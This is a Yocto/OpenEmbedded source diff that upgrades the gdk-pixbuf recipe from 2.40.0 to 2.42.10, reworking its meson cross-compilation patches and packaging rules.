--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Fix-a-couple-of-decisions-around-cross-compilation.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From be8a47e0c21e5577d4f5669d339dfec6299b25be Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 14 Feb 2019 18:06:25 +0100
-Subject: [PATCH] Generate loaders.cache using a native tool when
- cross-compiling
-
-Otherwise meson would attempt to run a target binary.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- gdk-pixbuf/meson.build | 12 ++++++++++--
- 1 file changed, 10 insertions(+), 2 deletions(-)
-
-diff --git a/gdk-pixbuf/meson.build b/gdk-pixbuf/meson.build
-index 5cddbec..78c8bd3 100644
---- a/gdk-pixbuf/meson.build
-+++ b/gdk-pixbuf/meson.build
-@@ -324,8 +324,16 @@ if not meson.is_cross_build()
- build_by_default: true)
- loaders_dep = declare_dependency(sources: [ loaders_cache ])
- else
-- loaders_cache = []
-- loaders_dep = declare_dependency()
-+ loaders_cache = custom_target('loaders.cache',
-+ output: 'loaders.cache',
-+ capture: true,
-+ command: [
-+ 'gdk-pixbuf-query-loaders',
-+ dynamic_loaders,
-+ ],
-+ depends: dynamic_loaders_dep,
-+ build_by_default: true)
-+ loaders_dep = declare_dependency(sources: [ loaders_cache ])
- endif
-
- pkgconfig = import('pkgconfig')
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Work-around-thumbnailer-cross-compile-failure.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Work-around-thumbnailer-cross-compile-failure.patch
deleted file mode 100644
index 110b32a490..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-Work-around-thumbnailer-cross-compile-failure.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 8c7ced988def52654946458a3779e383b27f14f7 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 14 Feb 2019 17:56:10 +0100
-Subject: [PATCH] Work-around thumbnailer cross-compile failure
-
-Install gdk-pixbuf-print-mime-types that's needed for thumbnail
-metadata generation.
-
-The upstream issue is https://bugzilla.gnome.org/show_bug.cgi?id=779057
-
-Upstream-Status: Inappropriate [workaround]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- thumbnailer/meson.build | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/thumbnailer/meson.build b/thumbnailer/meson.build
-index e801144..aaafec8 100644
---- a/thumbnailer/meson.build
-+++ b/thumbnailer/meson.build
-@@ -10,6 +10,7 @@ executable('gdk-pixbuf-thumbnailer',
- gdk_pixbuf_print_mime_types = executable('gdk-pixbuf-print-mime-types',
- 'gdk-pixbuf-print-mime-types.c',
- c_args: common_cflags,
-+ install: true,
- dependencies: gdk_pixbuf_deps + [ gdkpixbuf_dep ])
-
- custom_target('thumbnailer',
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-meson.build-allow-a-subset-of-tests-in-cross-compile.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-meson.build-allow-a-subset-of-tests-in-cross-compile.patch
new file mode 100644
index 0000000000..7250fa3f62
--- /dev/null
+++ b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0001-meson.build-allow-a-subset-of-tests-in-cross-compile.patch
@@ -0,0 +1,66 @@
+From 9d3b374e75692da3d1d05344a1693c85a3098f47 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Thu, 26 Jan 2023 20:29:46 +0100
+Subject: [PATCH] meson.build: allow (a subset of) tests in cross compile
+ settings
+
+There is no need to completely disable tests: most of them
+do not require running target executables at build time,
+and so can be built and installed.
+
+This requires inserting a couple of specific guards around
+items that do require running target executables.
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/gdk-pixbuf/-/merge_requests/150]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ meson.build | 6 +++---
+ tests/meson.build | 10 ++++++----
+ 2 files changed, 9 insertions(+), 7 deletions(-)
+
+diff --git a/meson.build b/meson.build
+index 8a16c8f..7c8b20f 100644
+--- a/meson.build
++++ b/meson.build
+@@ -369,10 +369,10 @@ subdir('gdk-pixbuf')
+ # i18n
+ subdir('po')
+
++if get_option('tests')
++ subdir('tests')
++endif
+ if not meson.is_cross_build()
+- if get_option('tests')
+- subdir('tests')
+- endif
+ subdir('thumbnailer')
+ endif
+
+diff --git a/tests/meson.build b/tests/meson.build
+index 28c2525..c45e765 100644
+--- a/tests/meson.build
++++ b/tests/meson.build
+@@ -4,7 +4,7 @@
+ # gdk-pixbuf-pixdata from build directory because it needs all DLL locations in
+ # $PATH. Ideally we should use gnome.compile_resources() and let Meson deal with
+ # this problem: See https://github.com/mesonbuild/meson/issues/8266.
+-if enabled_loaders.contains('png') and host_system != 'windows'
++if enabled_loaders.contains('png') and host_system != 'windows' and not meson.is_cross_build()
+ # Resources; we cannot use gnome.compile_resources() here, because we need to
+ # override the environment in order to use the utilities we just built instead
+ # of the system ones
+@@ -166,9 +166,11 @@ endif
+ test_deps = gdk_pixbuf_deps + [ gdkpixbuf_dep, ]
+ test_args = [ '-k' ]
+ test_env = environment()
+-test_env.set('G_TEST_SRCDIR', meson.current_source_dir())
+-test_env.set('G_TEST_BUILDDIR', meson.current_build_dir())
+-test_env.set('GDK_PIXBUF_MODULE_FILE', loaders_cache.full_path())
++if not meson.is_cross_build()
++ test_env.set('G_TEST_SRCDIR', meson.current_source_dir())
++ test_env.set('G_TEST_BUILDDIR', meson.current_build_dir())
++ test_env.set('GDK_PIXBUF_MODULE_FILE', loaders_cache.full_path())
++endif
+
+ foreach test_name, test_data: installed_tests
+ test_sources = [ test_name + '.c', 'test-common.c' ]
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch
deleted file mode 100644
index a9c7600eb3..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch
+++ /dev/null
@@ -1,94 +0,0 @@
-From 2d1b65bd1272ad63b7fbd4babd9a8e8c296d15b5 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 22 Feb 2019 13:22:06 +0100
-Subject: [PATCH] (target only) Work-around thumbnailer and pixdata
- cross-compile failure
-
-Use native gdk-pixbuf-print-mime-types and gdk-pixbuf-pixdata
-when generating the thumbnail metadata and resources.
-
-This works but the mime types will come from native
-loader.cache (which will only contain in-tree loaders), not from the
-target loader.cache.
-
-The upstream issue is https://bugzilla.gnome.org/show_bug.cgi?id=779057
-
-Upstream-Status: Inappropriate [workaround]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- build-aux/gen-thumbnailer.py | 2 --
- tests/meson.build | 11 +++++++++--
- thumbnailer/meson.build | 5 +----
- 3 files changed, 10 insertions(+), 8 deletions(-)
-
-diff --git a/build-aux/gen-thumbnailer.py b/build-aux/gen-thumbnailer.py
-index 05ac821..c5b99ab 100644
---- a/build-aux/gen-thumbnailer.py
-+++ b/build-aux/gen-thumbnailer.py
-@@ -20,8 +20,6 @@ argparser.add_argument('output', help='Output file')
- args = argparser.parse_args()
-
- newenv = os.environ.copy()
--newenv['GDK_PIXBUF_PIXDATA'] = args.pixdata
--newenv['GDK_PIXBUF_MODULE_FILE'] = args.loaders
- # 'nt': NT-based Windows, see https://docs.python.org/3/library/os.html
- if os.name == 'nt':
- gdk_pixbuf_dll_buildpath = os.path.dirname(args.pixdata)
-diff --git a/tests/meson.build b/tests/meson.build
-index 8ed7cc1..e011b77 100644
---- a/tests/meson.build
-+++ b/tests/meson.build
-@@ -1,12 +1,19 @@
- # Resources; we cannot use gnome.compile_resources() here, because we need to
- # override the environment in order to use the utilities we just built instead
- # of the system ones
-+
-+if not meson.is_cross_build()
-+pixdata_binary = gdk_pixbuf_pixdata.full_path()
-+else
-+pixdata_binary = 'gdk-pixbuf-pixdata'
-+endif
-+
- resources_c = custom_target('resources.c',
- input: 'resources.gresource.xml',
- output: 'resources.c',
- command: [
- gen_resources,
-- '--pixdata=@0@'.format(gdk_pixbuf_pixdata.full_path()),
-+ '--pixdata=@0@'.format(pixdata_binary),
- '--loaders=@0@'.format(loaders_cache.full_path()),
- '--sourcedir=@0@'.format(meson.current_source_dir()),
- '--source',
-@@ -24,7 +31,7 @@ resources_h = custom_target('resources.h',
- output: 'resources.h',
- command: [
- gen_resources,
-- '--pixdata=@0@'.format(gdk_pixbuf_pixdata.full_path()),
-+ '--pixdata=@0@'.format(pixdata_binary),
- '--loaders=@0@'.format(loaders_cache.full_path()),
- '--sourcedir=@0@'.format(meson.current_source_dir()),
- '--header',
-diff --git a/thumbnailer/meson.build b/thumbnailer/meson.build
-index aaafec8..71bd61b 100644
---- a/thumbnailer/meson.build
-+++ b/thumbnailer/meson.build
-@@ -18,9 +18,7 @@ custom_target('thumbnailer',
- output: 'gdk-pixbuf-thumbnailer.thumbnailer',
- command: [
- gen_thumbnailer,
-- '--printer=@0@'.format(gdk_pixbuf_print_mime_types.full_path()),
-- '--pixdata=@0@'.format(gdk_pixbuf_pixdata.full_path()),
-- '--loaders=@0@'.format(loaders_cache.full_path()),
-+ '--printer=gdk-pixbuf-print-mime-types',
- '--bindir=@0@'.format(gdk_pixbuf_bindir),
- '@INPUT@',
- '@OUTPUT@',
-@@ -28,7 +26,6 @@ custom_target('thumbnailer',
- depends: [
- gdk_pixbuf_print_mime_types,
- gdk_pixbuf_pixdata,
-- loaders_cache,
- ],
- install: true,
- install_dir: join_paths(gdk_pixbuf_datadir, 'thumbnailers'))
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0004-Do-not-run-tests-when-building.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0004-Do-not-run-tests-when-building.patch
deleted file mode 100644
index 96c546f271..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0004-Do-not-run-tests-when-building.patch
+++ /dev/null
@@ -1,39 +0,0 @@
-From 3c4a6c147ae8a0962ba9194373d8a41d14eed44f Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 22 Feb 2019 13:23:55 +0100
-Subject: [PATCH] Do not run tests when building
-
-Upstream-Status: Inappropriate [cross-compile specific]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- tests/meson.build | 17 -----------------
- 1 file changed, 17 deletions(-)
-
-diff --git a/tests/meson.build b/tests/meson.build
-index 4fa3fbc..6ef7884 100644
---- a/tests/meson.build
-+++ b/tests/meson.build
-@@ -138,23 +138,6 @@ foreach t: installed_tests
- install_dir: installed_test_bindir,
- )
-
-- # Two particularly slow tests
-- if test_suites.contains('slow')
-- timeout = 300
-- else
-- timeout = 30
-- endif
--
-- test(test_name, test_bin,
-- suite: test_suites,
-- args: [ '-k', '--tap' ],
-- env: [
-- 'G_TEST_SRCDIR=@0@'.format(meson.current_source_dir()),
-- 'G_TEST_BUILDDIR=@0@'.format(meson.current_build_dir()),
-- 'GDK_PIXBUF_MODULE_FILE=@0@'.format(loaders_cache.full_path()),
-- ],
-- timeout: timeout,
-- )
- endforeach
-
- executable('pixbuf-read',
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch
deleted file mode 100644
index 0fe13a387a..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch
+++ /dev/null
@@ -1,28 +0,0 @@
-From 1a532e090c558a830de9503f56e23414e880bb95 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Wed, 5 Jun 2019 14:17:55 +0200
-Subject: [PATCH] Build thumbnailer and tests also in cross builds.
-
-Upstream-Status: Inappropriate [relies on oe-core specific hacks]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- meson.build | 6 ++----
- 1 file changed, 2 insertions(+), 4 deletions(-)
-
-diff --git a/meson.build b/meson.build
-index d104cea..7acb88a 100644
---- a/meson.build
-+++ b/meson.build
-@@ -397,10 +397,8 @@ endif
- # i18n
- subdir('po')
-
--if not meson.is_cross_build()
-- subdir('tests')
-- subdir('thumbnailer')
--endif
-+subdir('tests')
-+subdir('thumbnailer')
-
- # Documentation
- subdir('docs')
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/fatal-loader.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/fatal-loader.patch
index 25410b11ea..23c68a0923 100644
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/fatal-loader.patch
+++ b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/fatal-loader.patch
@@ -1,4 +1,4 @@
-From f00603d58d844422363b896ea7d07aaf48ddaa66 Mon Sep 17 00:00:00 2001
+From b511bd1efb43ffc49c753e309717a242ec686ef1 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Tue, 1 Apr 2014 17:23:36 +0100
Subject: [PATCH] gdk-pixbuf: add an option so that loader errors are fatal
@@ -6,7 +6,7 @@ Subject: [PATCH] gdk-pixbuf: add an option so that loader errors are fatal
If an environment variable is specified set the return value from main() to
non-zero if the loader had errors (missing libraries, generally).
-Upstream-Status: Pending
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/gdk-pixbuf/-/merge_requests/144]
Signed-off-by: Ross Burton <ross.burton@intel.com>
---
@@ -14,10 +14,10 @@ Signed-off-by: Ross Burton <ross.burton@intel.com>
1 file changed, 15 insertions(+), 4 deletions(-)
diff --git a/gdk-pixbuf/queryloaders.c b/gdk-pixbuf/queryloaders.c
-index 312aa78..b813d99 100644
+index 1d39b44..2b00815 100644
--- a/gdk-pixbuf/queryloaders.c
+++ b/gdk-pixbuf/queryloaders.c
-@@ -212,7 +212,7 @@ write_loader_info (GString *contents, const char *path, GdkPixbufFormat *info)
+@@ -216,7 +216,7 @@ write_loader_info (GString *contents, const char *path, GdkPixbufFormat *info)
g_string_append_c (contents, '\n');
}
@@ -26,7 +26,7 @@ index 312aa78..b813d99 100644
query_module (GString *contents, const char *dir, const char *file)
{
char *path;
-@@ -221,6 +221,7 @@ query_module (GString *contents, const char *dir, const char *file)
+@@ -225,6 +225,7 @@ query_module (GString *contents, const char *dir, const char *file)
void (*fill_vtable) (GdkPixbufModule *module);
gpointer fill_info_ptr;
gpointer fill_vtable_ptr;
@@ -34,7 +34,7 @@ index 312aa78..b813d99 100644
if (g_path_is_absolute (file))
path = g_strdup (file);
-@@ -270,10 +271,13 @@ query_module (GString *contents, const char *dir, const char *file)
+@@ -274,10 +275,13 @@ query_module (GString *contents, const char *dir, const char *file)
g_module_error());
else
g_fprintf (stderr, "Cannot load loader %s\n", path);
@@ -47,8 +47,8 @@ index 312aa78..b813d99 100644
+ return ret;
}
- #ifdef G_OS_WIN32
-@@ -314,6 +318,7 @@ int main (int argc, char **argv)
+ #if defined(G_OS_WIN32) && defined(GDK_PIXBUF_RELOCATABLE)
+@@ -318,6 +322,7 @@ int main (int argc, char **argv)
gint first_file = 1;
GFile *pixbuf_libdir_file;
gchar *pixbuf_libdir;
@@ -56,7 +56,7 @@ index 312aa78..b813d99 100644
#ifdef G_OS_WIN32
gchar *libdir;
-@@ -452,7 +457,9 @@ int main (int argc, char **argv)
+@@ -456,7 +461,9 @@ int main (int argc, char **argv)
}
modules = g_list_sort (modules, (GCompareFunc)strcmp);
for (l = modules; l != NULL; l = l->next)
@@ -67,7 +67,7 @@ index 312aa78..b813d99 100644
g_list_free_full (modules, g_free);
g_free (moduledir);
#else
-@@ -468,7 +475,8 @@ int main (int argc, char **argv)
+@@ -472,7 +479,8 @@ int main (int argc, char **argv)
infilename = g_locale_to_utf8 (infilename,
-1, NULL, NULL, NULL);
#endif
@@ -77,7 +77,7 @@ index 312aa78..b813d99 100644
}
g_free (cwd);
}
-@@ -486,5 +494,8 @@ int main (int argc, char **argv)
+@@ -490,5 +498,8 @@ int main (int argc, char **argv)
g_free (pixbuf_libdir);
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/missing-test-data.patch b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/missing-test-data.patch
deleted file mode 100644
index 6c758fd61c..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf/missing-test-data.patch
+++ /dev/null
@@ -1,30 +0,0 @@
-Upstream-Status: Backport
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
-From d8d231c01ef2e59856da8a5c26ace955e5f29370 Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Mon, 25 Nov 2019 17:05:46 +0000
-Subject: [PATCH] tests: install circular-table.gif
-
-This test data was added for the pixbuf-gif-circular-table test (added October
-2018 in 0b9d004) but because the file was never actually installed the installed
-test suite never passes.
----
- tests/meson.build | 1 +
- 1 file changed, 1 insertion(+)
-
-diff --git a/tests/meson.build b/tests/meson.build
-index 5116fc2b9..80ed3e8b2 100644
---- a/tests/meson.build
-+++ b/tests/meson.build
-@@ -97,6 +97,7 @@ test_data = [
- 'bug775693.pixdata',
- 'bug775229.pixdata',
- 'aero.gif',
-+ 'circular-table.gif'
- ]
-
- installed_test_bindir = join_paths(gdk_pixbuf_libexecdir, 'installed-tests', meson.project_name())
---
-2.20.1
-
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.40.0.bb b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.40.0.bb
deleted file mode 100644
index d0df5015a5..0000000000
--- a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.40.0.bb
+++ /dev/null
@@ -1,132 +0,0 @@
-SUMMARY = "Image loading library for GTK+"
-DESCRIPTION = "The GDK Pixbuf library provides: Image loading and saving \
-facilities, fast scaling and compositing of pixbufs and Simple animation \
-loading (ie. animated GIFs)"
-HOMEPAGE = "https://wiki.gnome.org/Projects/GdkPixbuf"
-BUGTRACKER = "https://gitlab.gnome.org/GNOME/gdk-pixbuf/issues"
-
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
- file://gdk-pixbuf/gdk-pixbuf.h;endline=26;md5=72b39da7cbdde2e665329fef618e1d6b \
- "
-
-SECTION = "libs"
-
-DEPENDS = "glib-2.0 gdk-pixbuf-native shared-mime-info"
-
-MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
-
-SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz \
- file://run-ptest \
- file://fatal-loader.patch \
- file://0001-Work-around-thumbnailer-cross-compile-failure.patch \
- file://0001-Fix-a-couple-of-decisions-around-cross-compilation.patch \
- file://0004-Do-not-run-tests-when-building.patch \
- file://0006-Build-thumbnailer-and-tests-also-in-cross-builds.patch \
- file://missing-test-data.patch \
- "
-
-SRC_URI_append_class-target = " \
- file://0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch \
- "
-SRC_URI_append_class-nativesdk = " \
- file://0003-target-only-Work-around-thumbnailer-cross-compile-fa.patch \
- "
-
-SRC_URI[md5sum] = "05eb1ebc258ba905f1c8644ef49de064"
-SRC_URI[sha256sum] = "1582595099537ca8ff3b99c6804350b4c058bb8ad67411bbaae024ee7cead4e6"
-
-inherit meson pkgconfig gettext pixbufcache ptest-gnome upstream-version-is-even gobject-introspection gtk-doc lib_package
-
-GIR_MESON_OPTION = 'gir'
-
-EXTRA_OEMESON_append = " ${@bb.utils.contains('PTEST_ENABLED', '1', '-Dinstalled_tests=true', '-Dinstalled_tests=false', d)}"
-
-LIBV = "2.10.0"
-
-GDK_PIXBUF_LOADERS ?= "png jpeg"
-
-PACKAGECONFIG = "${@bb.utils.filter('DISTRO_FEATURES', 'x11', d)} ${GDK_PIXBUF_LOADERS}"
-PACKAGECONFIG_class-native = "${GDK_PIXBUF_LOADERS}"
-
-PACKAGECONFIG[png] = "-Dpng=true,-Dpng=false,libpng"
-PACKAGECONFIG[jpeg] = "-Djpeg=true,-Djpeg=false,jpeg"
-PACKAGECONFIG[tiff] = "-Dtiff=true,-Dtiff=false,tiff"
-PACKAGECONFIG[jpeg2000] = "-Djasper=true,-Djasper=false,jasper"
-
-PACKAGECONFIG[x11] = "-Dx11=true,-Dx11=false,virtual/libx11"
-
-PACKAGES =+ "${PN}-xlib"
-
-# For GIO image type sniffing
-RDEPENDS_${PN} = "shared-mime-info"
-
-FILES_${PN}-xlib = "${libdir}/*pixbuf_xlib*${SOLIBS}"
-ALLOW_EMPTY_${PN}-xlib = "1"
-
-FILES_${PN} += "${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders"
-
-FILES_${PN}-bin += "${datadir}/thumbnailers/gdk-pixbuf-thumbnailer.thumbnailer"
-
-FILES_${PN}-dev += " \
- ${bindir}/gdk-pixbuf-csource \
- ${bindir}/gdk-pixbuf-pixdata \
- ${bindir}/gdk-pixbuf-print-mime-types \
- ${includedir}/* \
- ${libdir}/gdk-pixbuf-2.0/${LIBV}/loaders/*.la \
-"
-
-PACKAGES_DYNAMIC += "^gdk-pixbuf-loader-.*"
-PACKAGES_DYNAMIC_class-native = ""
-
-python populate_packages_prepend () {
- postinst_pixbufloader = d.getVar("postinst_pixbufloader")
-
- loaders_root = d.expand('${libdir}/gdk-pixbuf-2.0/${LIBV}/loaders')
-
- packages = ' '.join(do_split_packages(d, loaders_root, r'^libpixbufloader-(.*)\.so$', 'gdk-pixbuf-loader-%s', 'GDK pixbuf loader for %s'))
- d.setVar('PIXBUF_PACKAGES', packages)
-
- # The test suite exercises all the loaders, so ensure they are all
- # dependencies of the ptest package.
- d.appendVar("RDEPENDS_%s-ptest" % d.getVar('PN'), " " + packages)
-}
-
-do_install_append() {
- # Copy gdk-pixbuf-query-loaders into libdir so it is always available
- # in multilib builds.
- cp ${D}/${bindir}/gdk-pixbuf-query-loaders ${D}/${libdir}/gdk-pixbuf-2.0/
-
-}
-
-# Remove a bad fuzzing attempt that sporadically fails without a way to reproduce
-do_install_ptest() {
- rm ${D}/${datadir}/installed-tests/gdk-pixbuf/pixbuf-randomly-modified.test
-}
-
-do_install_append_class-native() {
- find ${D}${libdir} -name "libpixbufloader-*.la" -exec rm \{\} \;
-
- create_wrapper ${D}/${bindir}/gdk-pixbuf-csource \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
-
- create_wrapper ${D}/${bindir}/gdk-pixbuf-pixdata \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
-
- create_wrapper ${D}/${bindir}/gdk-pixbuf-print-mime-types \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
-
- create_wrapper ${D}/${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache \
- GDK_PIXBUF_MODULEDIR=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders
-
- create_wrapper ${D}/${bindir}/gdk-pixbuf-query-loaders \
- XDG_DATA_DIRS=${STAGING_DATADIR} \
- GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache \
- GDK_PIXBUF_MODULEDIR=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders
-}
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.42.10.bb b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.42.10.bb
new file mode 100644
index 0000000000..cca89a9059
--- /dev/null
+++ b/meta/recipes-gnome/gdk-pixbuf/gdk-pixbuf_2.42.10.bb
@@ -0,0 +1,119 @@
+SUMMARY = "Image loading library for GTK+"
+DESCRIPTION = "The GDK Pixbuf library provides: Image loading and saving \
+facilities, fast scaling and compositing of pixbufs and Simple animation \
+loading (ie. animated GIFs)"
+HOMEPAGE = "https://wiki.gnome.org/Projects/GdkPixbuf"
+BUGTRACKER = "https://gitlab.gnome.org/GNOME/gdk-pixbuf/issues"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
+ file://gdk-pixbuf/gdk-pixbuf.h;endline=26;md5=72b39da7cbdde2e665329fef618e1d6b \
+ "
+
+SECTION = "libs"
+
+DEPENDS = "glib-2.0 shared-mime-info"
+
+MAJ_VER = "${@oe.utils.trim_version("${PV}", 2)}"
+
+SRC_URI = "${GNOME_MIRROR}/${BPN}/${MAJ_VER}/${BPN}-${PV}.tar.xz \
+ file://run-ptest \
+ file://fatal-loader.patch \
+ file://0001-meson.build-allow-a-subset-of-tests-in-cross-compile.patch \
+ "
+
+SRC_URI[sha256sum] = "ee9b6c75d13ba096907a2e3c6b27b61bcd17f5c7ebeab5a5b439d2f2e39fe44b"
+
+inherit meson pkgconfig gettext pixbufcache ptest-gnome upstream-version-is-even gobject-introspection gi-docgen lib_package
+
+GIR_MESON_OPTION = 'introspection'
+GIR_MESON_ENABLE_FLAG = "enabled"
+GIR_MESON_DISABLE_FLAG = "disabled"
+
+LIBV = "2.10.0"
+
+GDK_PIXBUF_LOADERS ?= "png jpeg"
+
+PACKAGECONFIG = "${GDK_PIXBUF_LOADERS} \
+ ${@bb.utils.contains('PTEST_ENABLED', '1', 'tests', '', d)}"
+PACKAGECONFIG:class-native = "${GDK_PIXBUF_LOADERS}"
+
+PACKAGECONFIG[png] = "-Dpng=enabled,-Dpng=disabled,libpng"
+PACKAGECONFIG[jpeg] = "-Djpeg=enabled,-Djpeg=disabled,jpeg"
+PACKAGECONFIG[tiff] = "-Dtiff=enabled,-Dtiff=disabled,tiff"
+PACKAGECONFIG[tests] = "-Dinstalled_tests=true,-Dinstalled_tests=false"
+
+EXTRA_OEMESON = "-Dman=false"
+
+PACKAGES =+ "${PN}-xlib"
+
+# For GIO image type sniffing
+RDEPENDS:${PN} = "shared-mime-info"
+
+FILES:${PN}-xlib = "${libdir}/*pixbuf_xlib*${SOLIBS}"
+ALLOW_EMPTY:${PN}-xlib = "1"
+
+FILES:${PN} += "${libdir}/gdk-pixbuf-2.0/gdk-pixbuf-query-loaders"
+
+FILES:${PN}-bin += "${datadir}/thumbnailers/gdk-pixbuf-thumbnailer.thumbnailer"
+
+FILES:${PN}-dev += " \
+ ${bindir}/gdk-pixbuf-csource \
+ ${bindir}/gdk-pixbuf-pixdata \
+ ${bindir}/gdk-pixbuf-print-mime-types \
+ ${includedir}/* \
+ ${libdir}/gdk-pixbuf-2.0/${LIBV}/loaders/*.la \
+"
+
+PACKAGES_DYNAMIC += "^gdk-pixbuf-loader-.*"
+PACKAGES_DYNAMIC:class-native = ""
+
+python populate_packages:prepend () {
+ postinst_pixbufloader = d.getVar("postinst_pixbufloader")
+
+ loaders_root = d.expand('${libdir}/gdk-pixbuf-2.0/${LIBV}/loaders')
+
+ packages = ' '.join(do_split_packages(d, loaders_root, r'^libpixbufloader-(.*)\.so$', 'gdk-pixbuf-loader-%s', 'GDK pixbuf loader for %s'))
+ d.setVar('PIXBUF_PACKAGES', packages)
+
+ # The test suite exercises all the loaders, so ensure they are all
+ # dependencies of the ptest package.
+ d.appendVar("RDEPENDS:%s-ptest" % d.getVar('PN'), " " + packages)
+}
+
+do_install:append() {
+ # Copy gdk-pixbuf-query-loaders into libdir so it is always available
+ # in multilib builds.
+ cp ${D}/${bindir}/gdk-pixbuf-query-loaders ${D}/${libdir}/gdk-pixbuf-2.0/
+
+}
+
+do_install_ptest() {
+ # Remove a bad fuzzing attempt that sporadically fails without a way to reproduce
+ rm ${D}/${datadir}/installed-tests/gdk-pixbuf/pixbuf-randomly-modified.test
+ # https://gitlab.gnome.org/GNOME/gdk-pixbuf/-/issues/215
+ rm ${D}/${datadir}/installed-tests/gdk-pixbuf/pixbuf-jpeg.test
+}
+
+do_install:append:class-native() {
+ find ${D}${libdir} -name "libpixbufloader-*.la" -exec rm \{\} \;
+
+ create_wrapper ${D}/${bindir}/gdk-pixbuf-csource \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
+ GDK_PIXBUF_MODULE_FILE=${STAGING_LIBDIR_NATIVE}/gdk-pixbuf-2.0/${LIBV}/loaders.cache
+
+ create_wrapper ${D}/${bindir}/gdk-pixbuf-pixdata \
+ XDG_DATA_DIRS=${STAGING_DATADIR} \
